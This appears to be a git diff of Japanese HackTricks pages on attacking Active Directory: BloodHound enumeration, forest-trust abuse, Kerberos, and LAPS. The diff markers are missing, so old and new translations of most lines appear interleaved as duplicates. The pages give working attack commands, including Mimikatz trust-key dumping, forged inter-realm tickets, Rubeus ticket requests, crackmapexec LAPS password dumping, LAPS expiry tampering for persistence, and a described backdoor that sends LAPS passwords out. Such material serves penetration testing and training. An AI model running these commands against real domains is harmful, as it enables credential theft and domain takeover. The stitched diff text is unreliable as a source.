> BloodHoundは、[Linkurious](http://linkurio.us/)の上に構築された単一ページのJavascriptウェブアプリケーションで、[Electron](http://electron.atom.io/)でコンパイルされ、C#データコレクターによって供給される[Neo4j](https://neo4j.com/)データベースを持っています。
BloodHoundは、グラフ理論を使用して、Active DirectoryやAzure環境内の隠れた関係や意図しない関係を明らかにします。攻撃者はBloodHoundを使用して、通常素早く特定することが不可能である高度に複雑な攻撃経路を簡単に特定できます。防御者はBloodHoundを使用して、同じ攻撃経路を特定し排除することができます。青チームと赤チームの両方が、Active DirectoryやAzure環境内の特権関係をより深く理解するためにBloodHoundを使用できます。
BloodHoundは、グラフ理論を使用して、Active DirectoryまたはAzure環境内の隠れた、しばしば意図しない関係を明らかにします。攻撃者はBloodHoundを使用して、迅速に特定することが不可能な非常に複雑な攻撃経路を簡単に特定できます。防御者はBloodHoundを使用して、同じ攻撃経路を特定し排除することができます。ブルーチームとレッドチームの両方が、BloodHoundを使用してActive DirectoryまたはAzure環境内の特権関係をより深く理解することができます。
したがって、[Bloodhound](https://github.com/BloodHoundAD/BloodHound)は、ドメインを自動的に列挙し、すべての情報を保存し、特権昇格経路を見つけ、グラフを使用してすべての情報を表示できる素晴らしいツールです。
したがって、[Bloodhound](https://github.com/BloodHoundAD/BloodHound)は、ドメインを自動的に列挙し、すべての情報を保存し、可能な特権昇格経路を見つけ、グラフを使用してすべての情報を表示る素晴らしいツールです。
Bloodhoundは、**インジェスタ**と**可視化アプリケーション**の2つの主要な部分で構成されています。
BloodHoundは、**ingestors**と**visualisation application**の2つの主要な部分で構成されています。
**インジェスタ**は、**ドメインを列挙し、すべての情報を抽出**するために使用されます
**ingestors**は、**ドメインを列挙し、視覚化アプリケーションが理解できる形式で情報を抽出するために使用されます**
**可視化アプリケーションはneo4jを使用**して、情報がどのように関連しているかを示し、ドメイン内で特権を昇格させるさまざまな方法を示します。
**visualisation applicationはneo4jを使用して**、すべての情報がどのように関連しているかを示し、ドメイン内で特権を昇格させるさまざまな方法を示します。
### インストール
BloodHound CEの作成後、プロジェクト全体がDockerを使用した利便性のために更新されました。始める最も簡単な方法は、事前に構成されたDocker Compose構成を使用することです。
### Installation
BloodHound CEの作成後、プロジェクト全体がDockerの使いやすさのために更新されました。始める最も簡単な方法は、事前に構成されたDocker Compose構成を使用することです。
1. Docker Composeをインストールします。これは[Docker Desktop](https://www.docker.com/products/docker-desktop/)のインストールに含まれるはずです。
2. 実行:
1. Docker Composeをインストールします。これは[Docker Desktop](https://www.docker.com/products/docker-desktop/)のインストールに含まれているはずです。
2. 実行します:
```
curl -L https://ghst.ly/getbhce | docker compose -f - up
```
3. Docker Composeのターミナル出力からランダムに生成されたパスワードを見つけます。
4. ブラウザで、http://localhost:8080/ui/login に移動します。ユーザー名をadmin、ログからランダムに生成されたパスワードでログインします。
3. Docker Composeのターミナル出力ランダムに生成されたパスワードを見つけます。
4. ブラウザでhttp://localhost:8080/ui/loginに移動します。ユーザー名にadmin、ログからのランダムに生成されたパスワードでログインします。
その後、ランダムに生成されたパスワードを変更する必要があり、新しいインターフェースが準備され、そこから直接インジェスタをダウンロードできます。
その後、ランダムに生成されたパスワードを変更する必要があり、新しいインターフェースが準備されます。そこから直接ingestorsをダウンロードできます。
### SharpHound
いくつかのオプションがありますが、ドメインに参加しているPCからSharpHoundを実行し、現在のユーザーを使用してすべての情報を抽出したい場合は、次のようにします:
いくつかのオプションがありますが、ドメインに参加しているPCからSharpHoundを実行し、現在のユーザーを使用してすべての情報を抽出したい場合は、次のようにできます:
```
./SharpHound.exe --CollectionMethods All
Invoke-BloodHound -CollectionMethod All
```
> **CollectionMethod** について詳しくは、[こちら](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained) を参照してください
> **CollectionMethod** とループセッションについては、[こちら](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)で詳しく読むことができます
異なる資格情報を使用して SharpHound を実行したい場合は、CMD netonly セッションを作成し、そこから SharpHound を実行できます。
異なる資格情報を使用してSharpHoundを実行したい場合は、CMD netonlyセッションを作成し、そこからSharpHoundを実行できます
```
runas /netonly /user:domain\user "powershell.exe -exec bypass"
```
[**Bloodhoundについて詳しくはired.teamをご覧ください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
## Group3r
[**Group3r**](https://github.com/Group3r/Group3r)は、Active Directoryに関連する**グループポリシー**の**脆弱性**を見つけるためのツールです。\
**ドメイン内のホスト**から**任意のドメインユーザ**を使用して**group3rを実行する**必要があります。
[**Group3r**](https://github.com/Group3r/Group3r)は、**グループポリシー**に関連するActive Directoryの**脆弱性**を見つけるためのツールです。 \
**任意のドメインユーザ**を使用して、ドメイン内のホストから**group3rを実行する**必要があります。
```bash
group3r.exe -f <filepath-name.log>
# -s sends results to stdin
@ -90,6 +92,21 @@ group3r.exe -f <filepath-name.log>
```
## PingCastle
[**PingCastle**](https://www.pingcastle.com/documentation/) **はAD環境のセキュリティポストを評価**し、グラフ付きの**レポート**を提供します。
[**PingCastle**](https://www.pingcastle.com/documentation/) **はAD環境のセキュリティ姿勢を評価**し、グラフ付きの**レポート**を提供します。
実行するには、バイナリ`PingCastle.exe`を実行し、**インタラクティブセッション**を開始してオプションのメニューを表示します。使用するデフォルトオプションは**`healthcheck`**で、これにより**ドメイン**の基本的な**概要**が確立され、**設定ミス**や**脆弱性**が見つかります。&#x20;
実行するには、バイナリ`PingCastle.exe`を実行すると、オプションのメニューを表示する**インタラクティブセッション**が開始されます。使用するデフォルトオプションは**`healthcheck`**で、**ドメイン**の**概要**を確立し、**誤設定**や**脆弱性**を見つけます。&#x20;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# External Forest Domain - OneWay (Inbound) or bidirectional
# 外部フォレストドメイン - 一方向(インバウンド)または双方向
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
このシナリオでは、外部ドメインがあなたを信頼している(またはお互いに信頼している)ため、それに対してある種のアクセス権を取得できます。
このシナリオでは、外部ドメインがあなたを信頼している(または両方が互いに信頼している)ため、何らかのアクセスを得ることができます。
## 列挙
まず第一に、**信頼関係**を**列挙**する必要があります:
まず最初に、**信頼**を**列挙**する必要があります:
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -66,38 +69,42 @@ IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```
前の列挙で、ユーザー **`crossuser`** が **`External Admins`** グループにいて、**外部ドメインのDC** 内で **管理者アクセス** を持っていることがわかりました。
In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**.
## 初期アクセス
他のドメインでユーザーの **特別な** アクセス権限を見つけられなかった場合、引き続きAD Methodologyに戻り、**特権のないユーザーから昇格** を試みることができますたとえば、kerberoastingなど:
もしあなたのユーザーが他のドメインで**特別な**アクセスを見つけられなかった場合、ADメソドロジーに戻り、**特権のないユーザーからの昇格**を試みることができます例えば、kerberoastingなど
`-Domain` パラメータを使用して、**他のドメイン** を列挙するために **Powerview 関数** を使用できます。
**Powerview関数**を使用して、`-Domain`パラメータを使って**他のドメイン**を**列挙**することができます。
```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
## インパーソネーション
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
## なりすまし
### ログイン
外部ドメインへのアクセス権を持つユーザーの資格情報を使用して通常の方法でログインすると、アクセスできるはずです。
外部ドメインにアクセス権を持つユーザーの資格情報を使用して、通常の方法でアクセスできるはずです:
```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID Historyの悪用
### SID履歴の悪用
フォレスト間の信頼関係を横断して[SID History](sid-history-injection.md)を悪用することもできます。
フォレストトラストを通じて[**SID履歴**](sid-history-injection.md)を悪用することもできます。
ユーザーが**1つのフォレストから別のフォレストに移行**され、**SIDフィルタリングが有効にされていない**場合、**他のフォレストからSIDを追加**することが可能になり、この**SID**は**信頼関係を横断して認証する際にユーザーのトークンに追加**されます。
ユーザーが**あるフォレストから別のフォレストに移行され**、**SIDフィルタリングが有効でない**場合、**他のフォレストからSIDを追加する**ことが可能になり、この**SID**は**トラストを通じて認証する際にユーザーのトークンに追加されます**
{% hint style="warning" %}
注意として、署名キーを取得できます
念のため、署名キーを取得することができます。
```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
```
{% endhint %}
現在のドメインのユーザーを**偽装**するTGTに、**信頼された**キーで**署名**することができます。
現在のドメインのユーザーを**偽装する**ために、**信頼された**キーで**TGTに署名する**ことができます。
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
@ -108,7 +115,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
### ユーザーの完全ななりすまし
### ユーザーを完全に偽装する方法
```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
@ -122,14 +129,17 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,15 +1,33 @@
# Kerberos 認証
{% hint style="success" %}
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**次の素晴らしい投稿をチェック:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**素晴らしい投稿をチェックしてください:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{% hint style="success" %}
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# LAPS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,11 +22,11 @@
## 基本情報
ローカル管理者パスワードソリューションLAPSは、**管理者パスワード**を**一意でランダムで頻繁に変更された**ものに設定し、ドメインに参加しているコンピュータに適用するためのツールです。これらのパスワードは、Active Directory内に安全に保存され、アクセス制御リストACLを介して権限が付与されたユーザのみがアクセスできます。クライアントからサーバへのパスワードの送信のセキュリティは、**Kerberosバージョン5**と**Advanced Encryption StandardAES**の使用によって保証されています。
Local Administrator Password Solution (LAPS) は、**管理者パスワード**を管理するためのツールであり、これらのパスワードは**ユニークでランダム化され、頻繁に変更される**もので、ドメインに参加しているコンピュータに適用されます。これらのパスワードはActive Directory内に安全に保存され、アクセス制御リストACLを通じて許可を与えられたユーザーのみがアクセスできます。クライアントからサーバへのパスワードの送信のセキュリティは、**Kerberosバージョン5**と**高度な暗号化標準AES**の使用によって確保されています。
LAPSの実装により、ドメインのコンピュータオブジェクトには、**`ms-mcs-AdmPwd`**と**`ms-mcs-AdmPwdExpirationTime`**という2つの新しい属性が追加されます。これらの属性は、それぞれ**平文の管理者パスワード**と**その有効期限**を保存します。
ドメインのコンピュータオブジェクトにおいて、LAPSの実装により、2つの新しい属性が追加されます**`ms-mcs-AdmPwd`**と**`ms-mcs-AdmPwdExpirationTime`**。これらの属性は、それぞれ**平文の管理者パスワード**と**その有効期限**を保存します。
### アクティブ化されているかどうかを確認
### 有効化されているか確認する
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
@ -36,11 +39,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name,
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
```
### LAPSパスワードアクセス
### LAPS パスワードアクセス
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` から **LAPSポリシーの生データをダウンロード**し、次に[**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) パッケージから **`Parse-PolFile`** を使用してこのファイルを人間が読める形式に変換できます。
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` から **生の LAPS ポリシーをダウンロード** し、次に [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) パッケージの **`Parse-PolFile`** を使用して、このファイルを人間が読みやすい形式に変換できます。
さらに、**ネイティブLAPS PowerShellコマンドレット**は、アクセス権を持つマシンにインストールされている場合に使用できます。
さらに、**ネイティブ LAPS PowerShell コマンドレット** は、アクセスできるマシンにインストールされている場合に使用できます:
```powershell
Get-Command *AdmPwd*
@ -61,7 +64,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView**を使用して、**誰がパスワードを読み取ることができ、それを読み取ることができるか**も調べることができます。
**PowerView**を使用して、**誰がパスワードを読み取ることができるか、そしてそれを読むことができるか**を調べることもできます:
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -71,9 +74,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### LAPSToolkit
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)は、複数の機能を備えたLAPSの列挙を容易にします。\
そのうちの1つは、**LAPSが有効になっているすべてのコンピューター**の**`ExtendedRights`**を解析することです。これにより、**LAPSパスワードを読む権限を特定のグループに委任**している**グループ**が表示されます。\
**ドメインにコンピューターを参加させたアカウント**は、そのホストに対して`All Extended Rights`を受け取り、この権利により**パスワードを読む能力**が与えられます。列挙により、ユーザーアカウントがホスト上のLAPSパスワードを読むことができることが示される場合があります。これにより、LAPSパスワードを読むことができる特定のADユーザーを**特定する**のに役立ちます。
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) は、いくつかの機能を使って LAPS の列挙を容易にします。\
その一つは、**LAPS が有効なすべてのコンピュータ**のために **`ExtendedRights`** を解析することです。これにより、**LAPS パスワードを読み取るために特に委任されたグループ**が表示されます。これらはしばしば保護されたグループのユーザーです。\
**コンピュータ**をドメインに参加させた **アカウント** は、そのホストに対して `All Extended Rights` を受け取り、この権利により **パスワードを読み取る** 能力が与えられます。列挙により、ホスト上で LAPS パスワードを読み取ることができるユーザーアカウントが表示されることがあります。これにより、LAPS パスワードを読み取ることができる特定の AD ユーザーを **ターゲットにする** のに役立ちます。
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -97,16 +100,18 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Crackmapexecを使用してLAPSパスワードをダンプする**
PowerShellへのアクセス権がない場合、LDAPを介してリモートでこの特権を悪用することができます
## **Dumping LAPS Passwords With Crackmapexec**
PowerShellにアクセスできない場合は、LDAPを使用してこの特権をリモートで悪用できます。
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
これは、ユーザーが読み取れるすべてのパスワードをダンプし、別のユーザーでより良い足場を得ることを可能にします。
## **LAPSの永続性**
### **有効期限**
### **有効期限**
一度管理者権限を取得すると、**パスワードを取得**し、**有効期限日を将来に設定**することで、**マシンがパスワードを更新するのを防ぐ**ことが可能です。
管理者になったら、**パスワードを取得**し、**有効期限を未来に設定することによって**マシンが**パスワードを更新するのを防ぐ**ことが可能です。
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -116,14 +121,14 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
**管理者**が**`Reset-AdmPwdPassword`**コマンドレットを使用するか、LAPS GPOで**ポリシーで必要な以上のパスワード有効期限を許可しない**が有効になっている場合、パスワードはリセットされます。
パスワードは、**admin**が**`Reset-AdmPwdPassword`**コマンドレットを使用した場合、またはLAPS GPOで**パスワードの有効期限をポリシーで要求されるよりも長く設定しない**が有効になっている場合でもリセットされます。
{% endhint %}
### バックドア
LAPSの元のソースコードは[こちら](https://github.com/GreyCorbel/admpwd)で見つけることができます。そのため、コード内(たとえば`Main/AdmPwd.PS/Main.cs`の`Get-AdmPwdPassword`メソッド内)にバックドアを設置して、新しいパスワードを何らかの方法で**外部に送信したり、どこかに保存**することが可能です。
LAPSの元のソースコードは[こちら](https://github.com/GreyCorbel/admpwd)にあります。したがって、コードにバックドアを仕込むことが可能です(例えば、`Main/AdmPwd.PS/Main.cs`の`Get-AdmPwdPassword`メソッド内)で、新しいパスワードを**外部に流出させるか、どこかに保存する**ことができます。
その後、新しい`AdmPwd.PS.dll`をコンパイルし、`C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`にアップロードします(および変更日時を変更します)。
その後、新しい`AdmPwd.PS.dll`をコンパイルし、`C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`にアップロードします(そして、修正時間を変更します)。
## 参考文献
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
@ -132,14 +137,17 @@ LAPSの元のソースコードは[こちら](https://github.com/GreyCorbel/admp
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
